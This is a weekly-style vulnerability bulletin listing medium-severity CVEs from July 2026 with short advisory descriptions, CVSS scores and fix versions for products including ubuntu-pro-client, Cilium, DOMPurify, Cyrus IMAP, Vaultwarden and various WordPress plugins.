| Canonical--ubuntu-pro-client (ubuntu-advantage-tools) | An insecure symlink following vulnerability exists in Canonical ubuntu-pro-client (formerly ubuntu-advantage-tools) within the pro collect-logs command framework. The utility creates or utilizes predictable temporary file paths or user-accessible log directories when gathering diagnostic information without verifying the file type or ownership. An unprivileged local attacker can exploit this behavior by creating a symbolic link (symlink) at a predictable destination path pointing to an arbitrary, root-readable file (such as /etc/shadow or private files within /root). When a root administrator or operator subsequently executes the pro collect-logs command, the tool follows the user-controlled symlink, reads the target file, and compresses its contents into the resulting diagnostic support archive. Because the output archive remains readable by the unprivileged user, the attacker can extract and read the sensitive root-owned files, leading to a complete information disclosure of system secrets. | 2026-07-16 | 5          | <a href="#">CVE-2026-12391</a> |
| Canonical--ubuntu-pro-client (ubuntu-advantage-tools) | An information disclosure vulnerability exists in Canonical ubuntu-pro-client (formerly ubuntu-advantage-tools). The client validates Ubuntu Pro APT credentials by executing /usr/lib/apt/apt-helper using the download-file command. During this process, the secret bearer token is embedded directly in the cleartext URL component passed via the command-line arguments (argv), resulting in a URL format such as https://bearer:<token>@esm.ubuntu.com/.../. On systems utilizing a default-mounted /proc file system where process-hiding mitigations (such as hidepid) are disabled, an unprivileged local attacker can monitor system processes and read the sensitive bearer token directly from /proc/cmdline while the helper process is actively running. This leaked token can subsequently be used to gain unauthorized access to the victim's Ubuntu Pro or Expanded Security Maintenance (ESM) repositories.                                                                                                                  | 2026-07-16 | 5.5        | <a href="#">CVE-2026-9494</a>  |
| CartoDB--carto-api-client                             | A vulnerability has been found in CartoDB carto-api-client 0.5.29. This impacts the function addFilter of the file src/filters.ts. Such manipulation of the argument column leads to improperly controlled modification of object prototype attributes. The attack can be executed remotely. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-18 | 6.3        | <a href="#">CVE-2026-16151</a> |
| catchplugins--Catch Themes Demo Import                | The Catch Themes Demo Import plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 3.3. This is due to the catch_themes_demo_import_activate_plugin() function, hooked on admin_init when the activate_plugin GET parameter is present, calling Plugin_Updater::install() to download and install a plugin from WordPress.org before performing the current_user_can('activate_plugins') capability check. This makes it possible for authenticated attackers, with subscriber-level access and above, to install the hardcoded 'essential-content-types' plugin from the WordPress.                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-16 | 4.3        | <a href="#">CVE-2026-15336</a> |
| ChurchCRM--CRM                                        | ChurchCRM is an open-source church management system. Prior to version 7.4.0, a low-privileged user can bypass the /admin/export UI and exfiltrate the entire member directory. The POST /CSVCreateFile.php endpoint generates and streams a CSV containing the full Personally Identifiable Information (PII) of every Person/Family record in the database, without performing any feature-level or object-level authorization check beyond the coarse "has any admin permission" gate inherited from the legacy page bootstrap. In other words, any single non-admin permission flag is enough to reach the CSV bulk-export endpoint, even though such users should not have data export rights. The export script is missing a dedicated isAdmin() (or a new bExportData) authorization check of its own. This issue has been fixed in version 7.4.0.                                                                                                                                                                                       | 2026-07-13 | 6.5        | <a href="#">CVE-2026-58408</a> |
| ci4-cms-erp--ci4ms                                    | CI4MS is a CodeIgniter 4-based content management system skeleton. Prior to version 0.31.9.0, the custom 'html_purify' validation rule used to sanitize blog post bodies relies on by-reference mutation ('?string &\$str'), but CodeIgniter 4's validator passes a local copy of the value, so the sanitized text is silently discarded. The Blog controller writes '\$lanData['content']' directly into 'blog_langs.content', and the public template echoes it without escaping - yielding stored XSS executable                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-19 | 5.4        | <a href="#">CVE-2026-45138</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                      | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                | in any visitor's browser, including the superadmin when previewing or editing posts. Version 0.31.9.0 patches the issue.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |            |            |                                |
| cilium--cilium                                 | Cilium is a networking, observability, and security solution. Prior to 1.17.17, 1.18.11, and 1.19.5, Cilium clusters using Gateway API allow users with permissions to create or update namespaced HTTPRoutes to mirror HTTP traffic to any Service in any namespace, bypassing the ReferenceGrant authorization mechanism. Gateway API functionality is disabled by default. This issue is fixed in versions 1.17.17, 1.18.11, and 1.19.5.                                                                                                                                                                                                                                                                                            | 2026-07-15 | 5.9        | <a href="#">CVE-2026-56742</a> |
| cilium--cilium                                 | Cilium is a networking, observability, and security solution. From 1.19.0 to 1.19.4, standard Kubernetes NetworkPolicy specifications using CIDR-based ipBlock rules without pod or namespace selectors erroneously generate a wildcard namespace allow rule when Cilium is configured with a custom clusterName rather than the default any value. The parser incorrectly instantiates a pod selector on selectorless peer definitions, allowing traffic from other workloads in the same namespace as the subject of the policy. This issue is fixed in version 1.19.5.                                                                                                                                                              | 2026-07-15 | 5.4        | <a href="#">CVE-2026-56743</a> |
| Cisco--Cisco Identity Services Engine Software | A vulnerability in Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) could allow an authenticated, remote attacker to perform path traversal attacks on the underlying operating system to either read or delete arbitrary files. To exploit this vulnerability, the attacker must have valid administrative credentials.&nbsp; This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected system. A successful exploit could allow the attacker to access sensitive files or delete arbitrary files on the affected system.                                                         | 2026-07-15 | 5.5        | <a href="#">CVE-2026-20146</a> |
| cleverplugins--SEO Booster                     | The SEO Booster plugin for WordPress is vulnerable to time-based SQL Injection via the 'orderby' parameter in all versions up to, and including, 7.3.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Although esc_sql() and sanitize_text_field() are applied, neither neutralizes SQL keywords, commas, parentheses, or subquery syntax in an unquoted ORDER BY context, leaving the clause fully attacker-controlled. | 2026-07-16 | 4.9        | <a href="#">CVE-2026-15445</a> |
| cleverplugins--SEO Booster                     | The SEO Booster plugin for WordPress is vulnerable to generic SQL Injection via the 'sort_field' parameter in all versions up to, and including, 7.3.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.                                                                                                                                                                                                                    | 2026-07-16 | 4.9        | <a href="#">CVE-2026-15458</a> |
| cloudreve--cloudreve                           | Cloudreve is a self-hosted file management and sharing system. Prior to 4.16.1, Cloudreve's remote download workflow accepts user-supplied URLs at POST /api/v4/workflow/download and passes them to the configured downloader without blocking loopback, localhost, IPv6 localhost, or redirect-to-loopback targets, allowing a non-admin user with remote download permission to fetch internal-only URLs and read the response after it is imported into the user's own files. This issue is fixed in version 4.16.1.                                                                                                                                                                                                               | 2026-07-15 | 6.5        | <a href="#">CVE-2026-54562</a> |
| code-projects--Online Examination System       | A vulnerability has been found in code-projects Online Examination System 1.0. This vulnerability affects unknown code of the file /account.php?q=quiz. Such manipulation of the argument eid/n/t leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-19 | 4.3        | <a href="#">CVE-2026-16220</a> |
| CodeAstro--Simple Online Leave                 | A weakness has been identified in CodeAstro Simple Online Leave Management System 1.0. Affected by this issue is some unknown functionality of the file                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-13 | 6.3        | <a href="#">CVE-2026-15523</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                        | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Management System                                | /SimpleOnlineLeave/admin/dashboard.php. This manipulation of the argument Name causes sql injection. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |            |            |                                |
| CodeAstro--Simple Online Leave Management System | A security vulnerability has been detected in CodeAstro Simple Online Leave Management System 1.0. Affected by this issue is some unknown functionality of the file /SimpleOnlineLeave/admin/deletemp.php. Such manipulation of the argument ID leads to sql injection. The attack can be executed remotely. The exploit has been disclosed publicly and may be used.                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-13 | 6.3        | <a href="#">CVE-2026-15558</a> |
| CodeAstro--Simple Online Leave Management System | A vulnerability was detected in CodeAstro Simple Online Leave Management System 1.0. This affects an unknown part of the file /SimpleOnlineLeave/admin/accept.php of the component POST Handler. Performing a manipulation of the argument appid results in sql injection. The attack is possible to be carried out remotely. The exploit is now public and may be used.                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-13 | 6.3        | <a href="#">CVE-2026-15559</a> |
| Codemenschen--Gift Vouchers                      | Missing Authorization vulnerability in Codemenschen Gift Vouchers gift-voucher allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Gift Vouchers: from n/a through <= 4.6.9.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-13 | 6.5        | <a href="#">CVE-2026-57412</a> |
| coredns--coredns                                 | CoreDNS is a DNS server written in Go. Prior to 1.14.5, the CoreDNS rewrite plugin supports edns0 rewrite rules with an optional revert flag, and two response rules, edns0SetResponseRule and edns0ReplaceResponseRule[T] in plugin/rewrite/edns0.go, call res.IsEdns0() and immediately dereference the returned *dns.OPT without a nil check when a downstream plugin returns a response with no OPT record. A remote, unauthenticated client can send a single ordinary DNS query matching a rewrite edns0 <local nsid subnet> <set append replace> ... revert rule, causing ResponseReverter in plugin/rewrite/reverter.go to panic, return SERVFAIL, and degrade availability, or crash the CoreDNS process if the debug directive disables recovery. This issue is fixed in version 1.14.5. | 2026-07-16 | 5.3        | <a href="#">CVE-2026-62299</a> |
| Crocoblock--JetBlocks For Elementor              | Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in Crocoblock JetBlocks For Elementor jet-blocks allows Retrieve Embedded Sensitive Data.This issue affects JetBlocks For Elementor: from n/a through <= 1.5.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-13 | 5.3        | <a href="#">CVE-2026-61976</a> |
| Crocoblock--JetReviews                           | Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in Crocoblock JetReviews jet-reviews allows Retrieve Embedded Sensitive Data.This issue affects JetReviews: from n/a through <= 3.0.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-13 | 5.3        | <a href="#">CVE-2026-61975</a> |
| Crocoblock--JetSearch                            | Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in Crocoblock JetSearch jet-search allows Retrieve Embedded Sensitive Data.This issue affects JetSearch: from n/a through <= 3.6.1.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-13 | 5.3        | <a href="#">CVE-2026-61977</a> |
| Croogo--CMS                                      | A flaw has been found in Croogo CMS up to 4.0.7. This affects the function FileManager::isEditable of the file FileManager/src/Utility/FileManager.php of the component Admin File Manager. This manipulation causes path traversal. The attack can be initiated remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-19 | 6.3        | <a href="#">CVE-2026-16219</a> |
| cure53--DOMPurify                                | DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Prior to 3.4.6, DOMPurify.sanitize(node, { IN_PLACE: true }) accepted same-origin foreign-realm DOM nodes while follow-on checks used parent-realm constructors, causing instanceof checks for forms, named node maps, document fragments, and elements to fail and skip clobber, template-content, and shadow-DOM sanitization branches so executable markup could survive. This issue is fixed in version 3.4.6.                                                                                                                                                                                                                                                                                               | 2026-07-14 | 6.1        | <a href="#">CVE-2026-49458</a> |



# Medium Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| cure53--DOMPurify         | DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Prior to 3.4.6, DOMPurify.sanitize(root, { IN_PLACE: true }) could preserve event-handler attributes on an attacker-controlled <form> root when a descendant name clobbered properties checked by _isClobbered, because _forceRemove no-opped on the parent-less root and _sanitizeAttributes returned early. This issue is fixed in version 3.4.6.                                                                                                                           | 2026-07-14 | 6.1        | <a href="#">CVE-2026-49459</a> |
| cyrusimap--Cyrus IMAP     | An issue was discovered in cyrus-imapd in Cyrus IMAP through 3.12.2. The LOCALDELETE command bypassed ACL checks. An authenticated but non-admin user could invoke the admin-only LOCALDELETE IMAP command and delete mailboxes for which they had no permissions.                                                                                                                                                                                                                                                                                              | 2026-07-16 | 6.5        | <a href="#">CVE-2026-47084</a> |
| cyrusimap--Cyrus IMAP     | An issue was discovered in cyrus-imapd in Cyrus IMAP through 3.12.2. The vacation "fcc" feature skips the destination-mailbox ACL. A user whose vacation Sieve script used :fcc (to save a copy of the sent message) could deliver vacation auto-reply copies into any mailbox the script could name, regardless of whether the script owner had insert permissions on the destination mailbox.                                                                                                                                                                 | 2026-07-16 | 5.4        | <a href="#">CVE-2026-47082</a> |
| cyrusimap--Cyrus IMAP     | An issue was discovered in cyrus-imapd in Cyrus IMAP through 3.12.2. There is an ESEARCH cross-user content oracle. By using the ESEARCH command, an authenticated IMAP user could enumerate folder names under any account they could name. Search would return UIDs of messages matching the search, creating a content oracle (without allowing arbitrary reads of the target's content).                                                                                                                                                                    | 2026-07-16 | 4.3        | <a href="#">CVE-2026-47083</a> |
| cyrusimap--Cyrus IMAP     | An issue was discovered in cyrus-imapd in Cyrus IMAP through 3.12.2. URLAUTH token forgery can occur via a missing mboxkey. If an attacker knew a folder name on the victim's account for which the victim had never issued an auth URL, they could forge a working URLAUTH token by computing an HMAC-SHA1 value with a predictable key, giving them read access to the mailbox. (URLAUTH is an obscure feature, meaning that the odds of any user actually being susceptible to this attack are very low. Perhaps no public clients use URLAUTH.)             | 2026-07-16 | 4          | <a href="#">CVE-2026-47085</a> |
| cyrusimap--Cyrus IMAP     | An issue was discovered in cyrus-imapd in Cyrus IMAP through 3.12.2. LISTRIGHTS os not limited to users with admin access. An authenticated user could call IMAP LISTRIGHTS against any mailbox they could name and learn what principals had what access to it. (This action should have been restricted to users with admin access on the target mailbox.)                                                                                                                                                                                                    | 2026-07-16 | 4.3        | <a href="#">CVE-2026-47089</a> |
| czlonkowski--n8n-mcp      | n8n-MCP is an MCP server that provides AI assistants access to n8n node documentation, properties, and operations. Prior to 2.57.4, multi-tenant HTTP mode with ENABLE_MULTI_TENANT=true could allow an authenticated tenant to access default-scope workflow_versions backups instead of being confined to the tenant scope, exposing or deleting workflow-version backups from prior single-tenant deployments or migrations. This issue is fixed in version 2.57.4.                                                                                          | 2026-07-15 | 4.2        | <a href="#">CVE-2026-55608</a> |
| Dan-in-CA--SIP            | Sustainable Irrigation Platform (SIP) through version 5.2.16 contains a stored cross-site scripting vulnerability that allows unauthenticated attackers to inject arbitrary JavaScript by supplying malicious script payloads within program names submitted via HTTP requests. Attackers can exploit the lack of output encoding on rendered program names to execute arbitrary JavaScript in the browsers of any users viewing the affected page, with exploitation facilitated by the absence of a required passphrase or the default passphrase 'opendoor'. | 2026-07-14 | 6.1        | <a href="#">CVE-2026-58475</a> |
| Dan-in-CA--SIP            | Sustainable Irrigation Platform (SIP) through version 5.2.16 contains a server-side request forgery (SSRF) vulnerability that allows unauthenticated attackers to make the device issue arbitrary HTTP requests by supplying a malicious callback URL when the optional Node-RED plugin is installed. Attackers can exploit the lack of destination validation and the default passphrase 'opendoor' to send blind HTTP requests to arbitrary internal or external hosts not otherwise directly accessible.                                                     | 2026-07-14 | 6.5        | <a href="#">CVE-2026-58478</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product   | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| dani-garcia--vaultwarden    | Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.36.0, Vaultwarden's /icons/{domain}/icon.png endpoint used src/http_client.rs checks including should_block_address() and post_resolve() that missed decimal, hexadecimal, and octal IP representations, allowing SSRF through the icon-fetching HTTP client for blind internal network or port discovery. This issue is fixed in version 1.36.0.                                                                                                                                                                                                      | 2026-07-15 | 5.8        | <a href="#">CVE-2026-47160</a> |
| danifus--pyzipper           | pyzipper is a replacement for Python's zipfile that can read and write AES encrypted zip files. Prior to 0.4.0, a Python operator precedence bug in pyzipper/zipfile_aes.py caused the AE-2 format to never be automatically selected during encryption, causing encrypted entries to be written in AE-1 format and exposing the plaintext CRC32 checksum in the ZIP header and, for unseekable zip archives, in the datadescriptor section, allowing an attacker who possesses the archive to brute-force candidate plaintexts for small or low-entropy files by comparing CRC32 values. This issue is fixed in version 0.4.0. | 2026-07-17 | 6.2        | <a href="#">CVE-2026-44722</a> |
| Dao-AI Lab--flash-attention | FlashAttention through 2.8.3.post1, fixed in commit 0816ef1, contains a symlink attack vulnerability in the download_and_copy() function within hopper/setup.py that extracts NVIDIA toolchain archives without validating symlinks or filtering tar members. A local attacker can pre-plant a symlink in the predictable cache directory to redirect extracted binaries to an attacker-chosen location, enabling arbitrary file write with victim privileges during build time.                                                                                                                                                | 2026-07-13 | 6.6        | <a href="#">CVE-2026-62239</a> |
| davenardella--snap7         | A security flaw has been discovered in davenardella snap7 up to 1.4.3. The impacted element is the function TSnap7Peer::NegotiatePDULength of the file src/core/s7_peer.cpp. The manipulation of the argument PDULength results in out-of-bounds write. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks.                                                                                                                                                                                                                                                           | 2026-07-19 | 6.3        | <a href="#">CVE-2026-16225</a> |
| dbt-labs--dbt-mcp           | dbt-mcp is a Model Context Protocol server for interacting with dbt. Prior to 1.17.1, _run_dbt_command() in src/dbt_mcp/dbt_cli/tools.py appended unsanitized node_selection and resource_type values to the dbt subprocess argument list, allowing an MCP client to inject dbt global flags such as --profiles-dir, --project-dir, and --target into subprocess.Popen even though shell=False prevents shell metacharacter injection. This issue is fixed in version 1.17.1.                                                                                                                                                   | 2026-07-16 | 6.3        | <a href="#">CVE-2026-44968</a> |
| decolua--9router            | 9Router is an AI router & token saver. Prior to 0.5.6, the Kiro API-key validation endpoint POST /api/oauth/kiro/api-key builds an upstream URL using a user-controlled region value, allowing an authenticated attacker to supply a crafted region such as kiro-canary.local:8443# and cause 9Router to send the Kiro validation request to an attacker-controlled host while forwarding the submitted Kiro API key as an Authorization header. This issue is fixed in version 0.5.6.                                                                                                                                          | 2026-07-15 | 6.4        | <a href="#">CVE-2026-56678</a> |
| DedeCMS--DedeCMS            | A security flaw has been discovered in DedeCMS 5.7.118. Impacted is an unknown function of the file /plus/search.php of the component Column Management. Performing a manipulation of the argument Column Name results in code injection. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks.                                                                                                                                                                                                                                                           | 2026-07-13 | 4.7        | <a href="#">CVE-2026-15533</a> |
| DedeCMS--DedeCMS            | A security flaw has been discovered in DedeCMS 5.7.118. Affected by this vulnerability is the function ExtractFile of the file include/zip.class.php of the component Album Publishing Feature. The manipulation of the argument filename results in path traversal. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks.                                                                                                                                                                                                                                              | 2026-07-14 | 4.7        | <a href="#">CVE-2026-15700</a> |
| Dell--PowerScale OneFS      | Dell PowerScale OneFS versions 9.5.0.0 through 9.10.1.7, and versions 9.11.0.0 through 9.13.0.2 contains an Improper Privilege Management vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of privileges.                                                                                                                                                                                                                                                                                                                                         | 2026-07-15 | 6.7        | <a href="#">CVE-2026-49501</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product                                 | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Dell--ThinOS 10                                           | Dell ThinOS 10, versions prior to 2605_10.2100 contain a Protection Mechanism Failure vulnerability. An attacker with physical access could potentially exploit this vulnerability, leading to unauthorized access to encrypted data.                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-15 | 6.1        | <a href="#">CVE-2026-56087</a> |
| devozon--Fense Proxy & VPN Blocker                        | The Fense Proxy & VPN Blocker plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check and missing nonce validation on the fense_bpvt_save_settings() function in versions up to, and including, 3.0.1. The callback is registered to both wp_ajax_* and wp_ajax_nopriv_* hooks and unconditionally calls delete_option() on four plugin options and delete_transient() on three transients tied to the plugin's API key cache and settings. This makes it possible for unauthenticated attackers to delete plugin options and transients, effectively resetting the plugin's API key/data cache and forcing the plugin to refetch state.  | 2026-07-17 | 5.3        | <a href="#">CVE-2026-8616</a>  |
| django-oauth--django-oauth-toolkit                        | A security vulnerability has been detected in django-oauth django-oauth-toolkit 3.3.0. This issue affects the function _load_id_token of the file oauth2_provider/oauth2_validators.py. The manipulation leads to session expiration. The attack can be initiated remotely. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                                                                                                                | 2026-07-19 | 6.3        | <a href="#">CVE-2026-16206</a> |
| django-tastypie--django-tastypie                          | A flaw has been found in django-tastypie up to 0.15.1. The affected element is the function CacheThrottle/CacheDBThrottle of the file tastypie/throttle.py. This manipulation causes race condition. The attack may be initiated remotely. The complexity of an attack is rather high. The exploitability is described as difficult. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                                                       | 2026-07-19 | 5          | <a href="#">CVE-2026-16208</a> |
| Eclipse Foundation--Eclipse Jetty                         | In Eclipse Jetty, for HTTP/1, HTTP/2 and HTTP/3 requests, there is no strict check that the request authority (host and port) matches what provided in the Host header (if present). This was not enforced in earlier HTTP RFC (for example, in RFC 2616), but it is in the latest RFC (9110 and 9112). This mismatch can cause a number of problems that may be classified as vulnerabilities such as: * URI constructions (for example, for redirects -- this is typical for login pages) * Virtual host selection * Reverse proxying * Misleading logs * Etc. Given that the latest RFCs require that request authority and Host header must match, Jetty should enforce this invariant. | 2026-07-14 | 5.3        | <a href="#">CVE-2026-6790</a>  |
| Eclipse Foundation--Eclipse Jetty                         | In Eclipse Jetty, an HTTP URI of this form: /public/../../admin/secret.txt results in an unresolved path of: /public/../../admin/secret.txt instead of the expected: /admin/secret.txt Jetty itself is not affected, as it will not serve the secret.txt file because it will not pass the alias checker (only resolved resources are served). However, web applications that rely on resolved paths being provided by Jetty may be confused when receiving an unresolved path.                                                                                                                                                                                                             | 2026-07-14 | 5.3        | <a href="#">CVE-2026-8384</a>  |
| Eclipse Foundation--Eclipse KUKSA - Databroker            | In Eclipse KUKSA Databroker version 0.6.1, the kuksa.val.v2.VAL/PublishValue gRPC handler fails to validate the existence of the optional data_point field in PublishValueRequest. When a request contains a valid signal_id but omits data_point, the server directly calls unwrap() on request.data_point, triggering a panic in the Tokio worker thread. This issue can be triggered by any client holding a valid JWT token. Unauthenticated or invalid-token requests are rejected and do not reach the vulnerable path. The panic causes the individual gRPC call to be cancelled but does not terminate the Databroker process, which remains available for subsequent requests.     | 2026-07-14 | 4.3        | <a href="#">CVE-2026-13699</a> |
| EDGARROJAS--Extra Product Options Builder for WooCommerce | Missing Authorization vulnerability in EDGARROJAS Extra Product Options Builder for WooCommerce additional-product-fields-for-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Extra Product Options Builder for WooCommerce: from n/a through <= 1.2.167.                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-13 | 6.5        | <a href="#">CVE-2026-57390</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                           | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| EDGARROJAS--WooCommerce PDF Invoice Builder                         | Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in EDGARROJAS WooCommerce PDF Invoice Builder woo-pdf-invoice-builder allows Retrieve Embedded Sensitive Data.This issue affects WooCommerce PDF Invoice Builder: from n/a through <= 2.0.8.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-13 | 6.5        | <a href="#">CVE-2026-57393</a> |
| Eli--Anti-Malware Security and Brute-Force Firewall                 | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Eli Anti-Malware Security and Brute-Force Firewall gotmls allows Reflected XSS.This issue affects Anti-Malware Security and Brute-Force Firewall: from n/a through <= 4.23.89.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-13 | 5.8        | <a href="#">CVE-2026-57691</a> |
| evertec--WooCommerce Placetopay Gateway Belice                      | The WooCommerce Placetopay Gateway and PlacetoPay/AvalPay gateway plugins for WordPress are vulnerable to Reflected Cross-Site Scripting via the 'redirect-url' parameter in versions up to, and including, 3.2.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-17 | 6.1        | <a href="#">CVE-2026-11324</a> |
| excon--excon                                                        | Excon is usable, fast, simple HTTP 1.1 for Ruby. Prior to 1.5.0, Excon's RedirectFollower middleware failed to strip additional sensitive headers when following redirects and did not provide a custom list of headers to strip. This could cause inadvertent leakage of sensitive data when the initial request includes header information that is not intended for the new target. This issue is fixed in version 1.5.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-17 | 6.5        | <a href="#">CVE-2026-54171</a> |
| expresstech--Quiz and Survey Master (QSM) Quiz Maker & Survey Maker | The Quiz Master Next plugin for WordPress is vulnerable to SQL Injection via stored quiz page data in versions up to, and including, 11.2.0. This is due to insufficient escaping on the user-supplied 'pages' parameter persisted by the qsm_ajax_save_pages() AJAX handler (sanitize_text_field only) and lack of sufficient preparation on the existing SQL query built in qsm_options_questions_tab_content() at line 143, where the stored page IDs are interpolated into an IN() clause via implode() with no \$wpdb->prepare() and no integer casting. This makes it possible for authenticated attackers, with Author-level access and above (who can own a quiz they are entitled to edit), to plant a SQL payload that is executed second-order whenever any user (including an administrator) views the quiz's Questions tab, allowing them to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. | 2026-07-16 | 6.5        | <a href="#">CVE-2026-13767</a> |
| F5--NGINX Agent                                                     | The NGINX Agent config_dirs directive allows a low-privileged attacker to gain limited read and write access to files outside of the designated secure directory. The config_dirs directive required for this issue can also be configured through NGINX Instance Manager. A successful exploit may allow an attacker to cross a security boundary. Impact: A remotely authenticated low-privileged attacker could gain limited read and write access outside of the list of directories specified in the NGINX Agent configuration. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.                                                                                                                                                                                                                                                                                                                                                         | 2026-07-15 | 6.4        | <a href="#">CVE-2026-60062</a> |
| F5--NGINX Ingress Controller                                        | When NGINX Ingress Controller processes Ingress or TransportServer resources, an authenticated, remote attacker with permission to create or modify Ingress or TransportServer resources can cause the NGINX Ingress Controller process to terminate. Impact: The NGINX Ingress Controller control plane process terminates and enters a persistent crash loop while the malformed Ingress or TransportServer resource remains in the cluster. This vulnerability allows a remote, authenticated attacker with at least Ingress or TransportServer resource write access to cause a denial-of-service (DoS) on the NGINX Ingress Controller system. There is no data plane exposure; this is a control plane issue only. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.                                                                                                                                                                     | 2026-07-15 | 6.5        | <a href="#">CVE-2026-52865</a> |
